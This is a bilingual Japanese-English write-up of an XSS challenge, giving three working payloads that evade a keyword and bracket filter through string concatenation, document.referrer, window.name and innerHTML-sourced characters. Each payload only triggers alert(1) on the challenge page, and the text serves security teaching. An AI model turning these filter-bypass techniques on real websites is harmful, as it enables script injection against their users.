XSS Challenge writeup

These are writeup of XSS challenge http://www.rafayhackingarticles.net/2014/06/rhainfosec-xss-challenge-2.html

回答1 Answer #1(IE only)

<script>
  if (location.search.length=="") {
      location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>";
  }
</script>
<a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror=&#x27;event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=event.target["par"%2B"entE"%2B"lement"]["par"%2B"entE"%2B"lement"]["ownerD"%2B"ocument"].referrer&#x27;' target="_blank">go</a>

この攻撃コードは以下のスクリプトを生成します。
This code create following JavaScript

event.target["par"+"entE"+"lement"]["innerHTM"+"L"]=event.target["par"+"entE"+"lement"]["par""entE"+"lement"]["ownerD"+"ocument"].referrer

IEでは document.referrer に含まれるHTMLの特殊文字エスケープされないので、その内容を直接HTMLに出力するとXSSになります。

IE does not escape HTML special characters in "document.referrer". when writing it to HTML directly, it causes XSS.

回答2 Answer #2 (IE11 / Google Chrome 35 / Firefox 29.0.1)

<script>
  function goXss() {
      var w = window.open();
      w.name="<"+"img src=. onerror=alert(1)>";
      w.location.href=('https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onclick=\'event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L"]=arguments[0].view["na"%2B"me"]\'');
  }
</script>
<input type=button value=GO onclick="goXss()">

この攻撃コードは以下のスクリプトを生成します。
This code create following JavaScript

event.target["par"+"entE"+"lement"]["innerHTM"+"L"]=arguments[0].view["na"+"me"]

window.name は呼び出し元の画面で任意の文字列をセットできるので、これを使っています。また、arguments もブラックリスト外なので、arguments[0] もイベントオブジェクト取得に利用しています。

Opener web page can set ANY string to "window.name".
At this challenge "arguments" is not blacklisted. We can use arguments[0] to get reference to event object.

回答3 Answer #3

https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'

これは IE8の互換モードや IE7 以前のモードでは動きません。この攻撃コードは以下のスクリプトを生成します。
This code not work on IE7 , IE8 quirks mode. This code create following JavaScript

e=event.target["par"+"entE"+"lement"];o=e["innerHTM"+"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"+"L"]=lt+"img src=. onerror=al"+"ert&#x28;1&#x29;"+gt

これをわかりやすく整理すると以下のようになります
It works as following:

e=event.target["parentElement"];
o=e["innerHTML"];
lt=o[11]; // lt = "<"
gt=o[o.length-1]; // gt = ">"
e["innerHTML"]=lt+"img src=. onerror=al"+"ert&#x28;1&#x29;"+gt // outputs "<img src=. onerror=alert&#x28;1&#x29;>"

フィルタバイパスのため、"<" と ">" は innerHTML から切り出して出力し、"(" と ")"は一度数値実体参照の形で出しておいてから innerHTML に出力することで "(" と ")" としてパースさせています。

To bypass filtering , I used innerHTML to get "<" and ">". And to bypass filter of "(" and ")", I used &#x28; and &#x29; and writing them using innerHTML.